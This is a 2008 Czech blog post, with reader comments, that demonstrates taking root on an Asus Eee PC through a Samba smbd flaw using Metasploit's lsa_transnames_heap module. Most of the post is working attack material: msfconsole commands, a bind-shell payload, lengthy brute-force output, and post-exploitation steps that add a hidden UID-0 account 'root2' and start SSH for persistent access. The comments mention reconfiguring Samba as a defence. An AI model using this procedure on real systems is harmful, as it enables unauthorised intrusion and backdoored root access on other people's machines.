Úno 11 2008
Nabouráváme se do Asus Eee PC aneb bezpečnostní problém je na světě
V posledních dnech se objevily informace o děravosti operačního systému Xandros linux na subnotebooku Asus Eee PC. Díky bezpečnostnímu problému lze poměrně snadno získat administrátorská práva. Zajímá vás, co je na tom pravdy ? Rozhodli jsme se to zjistit a hacknout si vlastní Eee PC!
Samotným bezpečnostním problémem trpí proces smbd ze Samby, která slouží ke sdílení dat především v sítích Microsoft Windows. Tento proces je standardně spouštěn v Xandros linuxu.
A jaký je tedy postup získání administrátorských (rootovských) práv?
Prvně si stáhneme Metasploit Framework 3.1. Odkazy záměrně neuvádíme. Kdo chce, tak si je najde.
Pak spustíme program msfconsole:
brm:~/framework-3.1# ./msfconsole
Exploit je jako modul s názvem lsa_transnames_heap, proto ho inicializujeme:
msf > use linux/samba/lsa_transnames_heap
Hackovaný Asus Eee PC má IP adresu 192.168.2.68, nastavíme ji tedy jako cíl:
msf exploit(lsa_transnames_heap) > set RHOST 192.168.2.68 RHOST => 192.168.2.68
Pomocí PAYLOAD nastavíme, jaký kód se spustí po úspěšném exploitnutí. Samozřejmě že chceme nahodit shell (příkazový řádek) :-)
msf exploit(lsa_transnames_heap) > set PAYLOAD linux/x86/shell_bind_tcp PAYLOAD => linux/x86/shell_bind_tcp
Nastavíme, na jaký systém budeme vést útok:
msf exploit(lsa_transnames_heap) > show targets
Exploit targets: Id Name
-- ----
0 Linux vsyscall
1 Linux Heap Brute Force (Debian/Ubuntu)
2 Linux Heap Brute Force (Gentoo)
3 Linux Heap Brute Force (Mandriva)
4 Linux Heap Brute Force (RHEL/CentOS)
5 Linux Heap Brute Force (SUSE)
6 Linux Heap Brute Force (Slackware)
7 DEBUG
Linux Xandros je postaven na Debianu, zvolíme tedy Debian/Ubuntu.
msf exploit(lsa_transnames_heap) > set TARGET 1 TARGET => 1
A spustíme samotné dobývání:
msf exploit(lsa_transnames_heap) > exploit [*] Started bind handler [*] Creating nop sled.... [*] Trying to exploit Samba with address 0x08352000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x08361000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x08370000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x0837f000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x0838e000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x0839d000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x083ac000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x083bb000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x083ca000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x083d9000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x083e8000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x083f7000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x08406000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [-] Error: EOFError: end of file reached [*] Trying to exploit Samba with address 0x08415000... [*] Connecting to the SMB service... [*] Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.2.68[\lsarpc] ... [*] Calling the vulnerable function... [+] Server did not respond, this is expected [*] Command shell session 1 opened (192.168.2.1:38029 -> 192.168.2.68:4444)
Shell (příkazový řádek) je nahozen, teď už si ho jen zpřístupníme:
msf exploit(lsa_transnames_heap) > msf exploit(lsa_transnames_heap) > sessions -i 1 [*] Starting interaction with 1...
A už se proháníme po hacknutém Asusu, přidáme si vlastního uživatele root2 a spustíme ssh server pro případné další přilogování.
uname -a Linux asus-727278881 2.6.21.4-eeepc #2 Mon Oct 15 12:49:37 EDT 2007 i686 GNU/Linux whoami root useradd -o -u 0 root2 passwd root2 Enter new UNIX password: nejakyheslo Retype new UNIX password: nejakyheslo passwd: password updated successfully /etc/init.d/ssh start
A otestujeme nově vytvořený účet.
root@brm:~# ssh root2@192.168.2.68 The authenticity of host '192.168.2.68 (192.168.2.68)' can't be established. RSA key fingerprint is 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.2.68' (RSA) to the list of known hosts. Password: Last login: Mon Feb 11 17:46:40 2008 from brm.bsdrouter Could not chdir to home directory /home/root2: No such file or directory root@asus-727278881:/# whoami root
Jak vidno, vše funguje. Mise byla úspěšná a získali jsme rootovská (administrátorská) práva.
A teď ta horší věc. I když se o bezpečnostním problému ví již několik dní, Asus ani do této chvíle záplatu nevydal. V rychlosti vydávání bezpečnostních záplat si tak nemá co závidět s Microsoftem.
No a nebo si staci prekonfigurovat sambu, ze ano :-).
Je lehci opsat postup jak proves nejaky ten exploit, nez napsat postup, jek se proti exploitu branit. Uz jen to ze neuvadite jak se proti exploitu docasne branit svedci o tom, ze sam o vyse zminovanem problemu moc nevite.
Prosim berte muj komentar spise jako tip na vylepseni, nez zle popichnuti - jak na prvni pohled jiste vypada.
hezky den
JB
Zdravim JB, pokud o tom ty neco vis , napis nam schvalne jak se tedy proti takovemu exploitu branit, psat o nekom ze toho moc nevi a sam pritom nic nevedet mi pride prinejmensim divny ……navic ten clovek to popisuje neco o cem malokdo vi, a ty to takhle zkritizujes…. :(
…..a spustíme ssh server…
/etc/init.d/ssh start
bash: /etc/init.d/ssh: není souborem ani adresářem
Nespustíme, ssh server není standartě na eee 900A nainstalovaný a prozatím se mi jej ani nainstalovat nepodařilo.